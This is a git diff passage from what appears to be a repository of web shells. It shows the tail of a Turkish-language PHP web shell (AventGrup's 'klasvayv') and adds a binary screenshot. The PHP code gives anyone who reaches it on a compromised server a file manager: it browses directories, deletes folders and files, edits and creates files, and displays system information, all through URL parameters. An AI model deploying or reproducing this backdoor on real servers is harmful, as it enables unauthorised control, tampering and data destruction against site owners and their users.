href="mailto:shopen@aventgrup.net" style="text-decoration: none"><font color="#858585">@AventGrup.Net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;</font></td> + </tr> + </table> + + + + <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="20"> + <tr> + <td width="110" bgcolor="#9F9F9F" height="20"><font face="Verdana"> + <span style="font-size: 8pt">&nbsp;allan Klasr</span></font></td> + <td bgcolor="#D6D6D6" height="20"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4"> + <tr> + <td width="1"></td> + <td><font face="Verdana" style="font-size: 8pt">&nbsp;<?echo "$dizin"?></font></td> + <td width="65"> + <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber6" height="13"> + <tr> + <td width="100%" bgcolor="#B7B7B7" bordercolor="#9F9F9F" height="13" + onmouseover='this.style.background="D9D9D9"' + onmouseout='this.style.background="9F9F9F"' + style="CURSOR: hand" + + + + + > + <p align="center"><font face="Verdana" style="font-size: 8pt"> + + + + + + + <a href="<?echo "$fistik.php?dizin=$dizin/../"?>" style="text-decoration: none"> + <font color="#000000">st Klasr</font></a></font></td> + + </tr> + </table> + </td> + </tr> + </table> + </td> + </tr> + </table> + + + +<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber3" height="21"> + <tr> + <td width="625" bgcolor="#000000"><span style="font-size: 2pt">&nbsp;</span></td> + </tr> + <tr> + <td bgcolor="#000000" height="20"> + <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" id="AutoNumber23" bgcolor="#A3A3A3" width="373" height="19"> + <tr> + <td align="center" bgcolor="#5F5F5F" height="19" bordercolor="#000000"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber26"> + <tr> + <td align="center" bgcolor="#5F5F5F" + onmouseover="style.background='#6F6F6F'" + onmouseout="style.background='#5F5F5F'" + style="CURSOR: hand" + + height="19" bordercolor="#000000"> + <span style="font-weight: 700"> + <font face="Verdana" style="font-size: 8pt" color="#9F9F9F"> + <a color="#9F9F9F" target="_blank" href="<?echo "$fistik.php?sistembilgisi=1";?>" style="text-decoration: none"><font color="#9F9F9F">Sistem Bilgisi</font></a></font></font></span></td> + </tr> + </table> + </td> + <td align="center" bgcolor="#5F5F5F" height="19" bordercolor="#000000"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber27"> + <tr> + <td align="center" bgcolor="#5F5F5F" height="19" + onmouseover="style.background='#6F6F6F'" + onmouseout="style.background='#5F5F5F'" + style="CURSOR: hand" + bordercolor="#000000"> + <font face="Verdana" style="font-size: 8pt; font-weight: 700" color="#9F9F9F"> + <a href="<?echo "$fistik.php?yenklas=1&dizin=$dizin";?>" style="text-decoration: none"> + <font color="#9F9F9F">Yeni Klasr</font></a></font></td> + </tr> + </table> + </td> + <td align="center" bgcolor="#5F5F5F" height="19" bordercolor="#000000"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber28"> + <tr> + <td align="center" bgcolor="#5F5F5F" height="19" + onmouseover="style.background='#6F6F6F'" + onmouseout="style.background='#5F5F5F'" + style="CURSOR: hand" + bordercolor="#000000"> + <font face="Verdana" style="font-size: 8pt; font-weight: 700" color="#9F9F9F"> + <a href="<?echo "$fistik.php?yendos=1&dizin=$dizin";?>" style="text-decoration: none"><font color="#9F9F9F">Yeni Dosya</font></a> </font></td> + </tr> + </table> + </td> + </tr> + </table> + </td> + </tr> + </table> + + + + + + + +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber7" height="17"> + <tr> + <td width="30" height="17" bgcolor="#9F9F9F"> + <font face="Verdana" style="font-size: 8pt; font-weight: 700">&nbsp;Tr</font></td> + <td height="17" bgcolor="#9F9F9F"> + <font face="Verdana" style="font-size: 8pt; font-weight: 700">&nbsp;Dosya + Ad</font></td> + <td width="122" height="17" bgcolor="#9F9F9F"> + <p align="center"> + <font face="Verdana" style="font-size: 8pt; font-weight: 700">&nbsp;lem</font></td> + </tr> +</table> + +<? +if ($sedat=@opendir($dizin)){ +while (($ekinci=readdir ($sedat))){ +if (is_dir("$dizin/$ekinci")){ +?> + +<? if ($ekinci=="." or $ekinci=="..") { +} else { +?> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber8" height="17"> + <tr> + <td width="30" height="17" bgcolor="#808080"> + <p align="center"> + <img border="0" src="http://www.aventgrup.net/arsiv/klasvayv/1.0/2.gif"></td> + <td height="17" bgcolor="#C4C4C4"> + <font face="Verdana" style="font-size: 8pt">&nbsp;<?echo "$ekinci" ?></font></td> + <td width="61" height="17" bgcolor="#C4C4C4" align="center"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber15" height="20"> + <tr> + <td width="100%" bgcolor="#A3A3A3" + onmouseover="this.style.background='#BBBBBB'" + onmouseout="this.style.background='#A3A3A3'" + style="CURSOR: hand" + height="20"> + + <p align="center"><font face="Verdana" style="font-size: 8pt"> + <a href="<?echo "$fistik.php?dizin=$dizin/" ?><?echo "$ekinci";?>" style="text-decoration: none"> + <font color="#000000">A</font></a></font></td> + </tr> + </table> + </td> + <td width="60" height="17" bgcolor="#C4C4C4" align="center"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber18" height="20"> + <tr> + <td width="100%" bgcolor="#A3A3A3" + onmouseover="this.style.background='#BBBBBB'" + onmouseout="this.style.background='#A3A3A3'" + + + style="CURSOR: hand" + height="20"> + + <p align="center"><font face="Verdana" style="font-size: 8pt"> + <a href="<?echo "$fistik.php?silklas=$dizin/$ekinci&dizin=$dizin"?>" style="text-decoration: none"> + <font color="#000000">Sil</font></a> + + </font></td> + </tr> + </table> + </td> + </tr> +</table> +<? +} +?> + +<? +}}} +closedir($sedat); +?> + +<? +if ($sedat=@opendir($dizin)){ +while (($ekinci=readdir ($sedat))){ +if (is_file("$dizin/$ekinci")){ + +?> + +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber8" height="1"> + <tr> + <td width="30" height="1" bgcolor="#B0B0B0"> + <p align="center"> + <img border="0" src="http://www.aventgrup.net/arsiv/klasvayv/1.0/1.gif"></td> + <td height="1" bgcolor="#EAEAEA"> + <font face="Verdana" style="font-size: 8pt">&nbsp;<?echo "$ekinci" ?></font> + <font face="Arial Narrow" style="font-size: 8pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ( XXX )&nbsp;</font></td> + <td width="61" height="1" bgcolor="#D6D6D6" align="center"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber12" height="20"> + <tr> + <td width="100%" bgcolor="#D6D6D6" + onmouseover="this.style.background='#ACACAC'" + onmouseout="this.style.background='#D6D6D6'" + style="CURSOR: hand" + height="20"> + + <p align="center"><font face="Verdana" style="font-size: 8pt"> + <a style="text-decoration: none" target="_self" href="<?echo "$fistik";?>.php?duzenle=<?echo "$ekinci";?>&dizin=<?echo $dizin;?>"> + <font color="#000000">Dzenle</font></a></font></td> + </tr> + </table> + </td> + <td width="60" height="1" bgcolor="#D6D6D6" align="center"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber13" height="100%"> + <tr> + <td width="100%" bgcolor="#D6D6D6" no wrap + onmouseover="this.style.background='#ACACAC'" + onmouseout="this.style.background='#D6D6D6'" + style="CURSOR: hand" + height="20"> + + <p align="center"><font face="Verdana" style="font-size: 8pt"> + <a href="<?echo "$fistik";?>.php?sildos=<?echo $ekinci;?>&dizin=<?echo $dizin;?>" style="text-decoration: none"> + <font color="#000000">Sil</font></a></font></td> + </tr> + </table> + </td> + </tr> +</table> + +<? +}}} +closedir($sedat); +?> + + + + + +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber29"> + <tr> + <td width="100%" bgcolor="#000000">&nbsp;</td> + </tr> +</table> + + <tr> + <td width="100%" bgcolor="#000000"> + </body></html><? } ?><? } ?><? } ?><? } ?> \ No newline at end of file diff --git a/php/PHPshell/PHP Shell/PHP Shell.jpg b/php/PHPshell/PHP Shell/PHP Shell.jpg new file mode 100644 index 0000000000000000000000000000000000000000..2dd2eeb87374155ddbf23fac9a1e38838522d645 GIT binary patch literal 60976 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 